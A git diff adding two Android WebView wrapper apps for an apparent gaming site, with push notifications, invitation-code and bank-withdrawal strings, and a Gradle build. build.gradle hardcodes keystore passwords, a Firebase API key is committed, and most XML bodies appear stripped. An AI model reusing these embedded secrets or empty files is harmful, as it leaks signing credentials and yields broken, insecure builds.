a/sprintau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/sprintau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/sprintau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sprintau/src/main/res/mipmap-hdpi/ic_empty.png b/sprintau/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/sprintau/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/sprintau/src/main/res/mipmap-hdpi/ic_pull_down.png b/sprintau/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/sprintau/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/sprintau/src/main/res/mipmap-xhdpi/ic_close.png b/sprintau/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/sprintau/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/sprintau/src/main/res/mipmap-xhdpi/ic_menu.png b/sprintau/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/sprintau/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/sprintau/src/main/res/mipmap-xxhdpi/app_logo.png b/sprintau/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..052de9a Binary files /dev/null and b/sprintau/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/sprintau/src/main/res/values-en/strings.xml b/sprintau/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/sprintau/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/sprintau/src/main/res/values-night/themes.xml b/sprintau/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/sprintau/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sprintau/src/main/res/values/colors.xml b/sprintau/src/main/res/values/colors.xml new file mode 100644 index 0000000..dad3696 --- /dev/null +++ b/sprintau/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #592b11 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/sprintau/src/main/res/values/strings.xml b/sprintau/src/main/res/values/strings.xml new file mode 100644 index 0000000..ba587ab --- /dev/null +++ b/sprintau/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + SprintAU + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sprintau/src/main/res/values/themes.xml b/sprintau/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/sprintau/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sprintau/src/main/res/xml/app_updater_paths.xml b/sprintau/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/sprintau/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/sprintau/src/main/res/xml/network_security_config.xml b/sprintau/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/sprintau/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/sprintau/src/main/res/xml/provider_paths.xml b/sprintau/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/sprintau/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/sprintau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/sprintau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/sprintau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/supergameau/.gitignore b/supergameau/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/supergameau/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/supergameau/build.gradle b/supergameau/build.gradle new file mode 100644 index 0000000..c531fc1 --- /dev/null +++ b/supergameau/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.supergameau" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "supergameau" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/supergameau/dskjweb.jks b/supergameau/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/supergameau/dskjweb.jks differ diff --git a/supergameau/google-services.json b/supergameau/google-services.json new file mode 100644 index 0000000..2837110 --- /dev/null +++ b/supergameau/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "308400235895", + "project_id": "supergameau-ab930", + "storage_bucket": "supergameau-ab930.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:308400235895:android:258b5779436580962ded72", + "android_client_info": { + "package_name": "com.web.supergameau" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyB1Dn9KbGGSal_VL1QlQxszOJwa9URfLAQ" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/supergameau/ppn.jks b/supergameau/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/supergameau/ppn.jks differ diff --git a/supergameau/proguard-rules.pro b/supergameau/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/supergameau/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/supergameau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/supergameau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/supergameau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/supergameau/src/main/AndroidManifest.xml b/supergameau/src/main/AndroidManifest.xml new file mode 100644 index 0000000..57c76a1 --- /dev/null +++ b/supergameau/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/supergameau/src/main/java/com/web/supergameau/MainActivity.java b/supergameau/src/main/java/com/web/supergameau/MainActivity.java new file mode 100644 index 0000000..f4ae49e --- /dev/null +++ b/supergameau/src/main/java/com/web/supergameau/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.supergameau; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 210; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://supergameau.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#050e1b"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#07090d"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/supergameau/src/main/java/com/web/supergameau/MyFirebaseMessageingService.java b/supergameau/src/main/java/com/web/supergameau/MyFirebaseMessageingService.java new file mode 100644 index 0000000..809ecdf --- /dev/null +++ b/supergameau/src/main/java/com/web/supergameau/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.supergameau; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/supergameau/src/main/java/com/web/supergameau/WebApplication.java b/supergameau/src/main/java/com/web/supergameau/WebApplication.java new file mode 100644 index 0000000..50c19c9 --- /dev/null +++ b/supergameau/src/main/java/com/web/supergameau/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.supergameau; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/supergameau/src/main/res/drawable-anydpi/ic_action_back.xml b/supergameau/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/supergameau/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/supergameau/src/main/res/drawable-hdpi/ic_action_back.png b/supergameau/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/supergameau/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/supergameau/src/main/res/drawable-mdpi/ic_action_back.png b/supergameau/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/supergameau/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/supergameau/src/main/res/drawable-v24/ic_launcher_foreground.xml b/supergameau/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/supergameau/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/supergameau/src/main/res/drawable-xhdpi/ic_action_back.png b/supergameau/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/supergameau/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/supergameau/src/main/res/drawable-xxhdpi/ic_action_back.png b/supergameau/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/supergameau/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/supergameau/src/main/res/drawable/big_bg.xml b/supergameau/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..61524d4 --- /dev/null +++ b/supergameau/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/supergameau/src/main/res/drawable/ic_launcher_background.xml b/supergameau/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/supergameau/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/supergameau/src/main/res/drawable/input_bg.xml b/supergameau/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/supergameau/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/supergameau/src/main/res/drawable/pass_word_bg.xml b/supergameau/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/supergameau/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/supergameau/src/main/res/drawable/pass_word_bg1.xml b/supergameau/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/supergameau/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/supergameau/src/main/res/drawable/pass_word_bg2.xml b/supergameau/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/supergameau/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/supergameau/src/main/res/drawable/shape_btn_bg.xml b/supergameau/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/supergameau/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/supergameau/src/main/res/drawable/shape_dialog_bg2.xml b/supergameau/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/supergameau/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/supergameau/src/main/res/drawable/shape_dialog_bg3.xml b/supergameau/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/supergameau/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/supergameau/src/main/res/drawable/shape_dialog_bg_new.xml b/supergameau/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/supergameau/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/supergameau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/supergameau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/supergameau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/supergameau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/supergameau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/supergameau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/supergameau/src/main/res/mipmap-hdpi/ic_empty.png b/supergameau/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/supergameau/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/supergameau/src/main/res/mipmap-hdpi/ic_pull_down.png b/supergameau/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/supergameau/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/supergameau/src/main/res/mipmap-xhdpi/ic_close.png b/supergameau/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/supergameau/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/supergameau/src/main/res/mipmap-xhdpi/ic_menu.png b/supergameau/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/supergameau/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/supergameau/src/main/res/mipmap-xxhdpi/app_logo.png b/supergameau/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..8b3b0a7 Binary files /dev/null and b/supergameau/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/supergameau/src/main/res/values-en/strings.xml b/supergameau/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/supergameau/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/supergameau/src/main/res/values-night/themes.xml b/supergameau/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/supergameau/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/supergameau/src/main/res/values/colors.xml b/supergameau/src/main/res/values/colors.xml new file mode 100644 index 0000000..faf4944 --- /dev/null +++ b/supergameau/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #050e1b + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/supergameau/src/main/res/values/strings.xml b/supergameau/src/main/res/values/strings.xml new file mode 100644 index 0000000..48ddfc4 --- /dev/null +++ b/supergameau/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Supergameau + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/supergameau/src/main/res/values/themes.xml b/supergameau/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/supergameau/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/supergameau/src/main/res/xml/app_updater_paths.xml 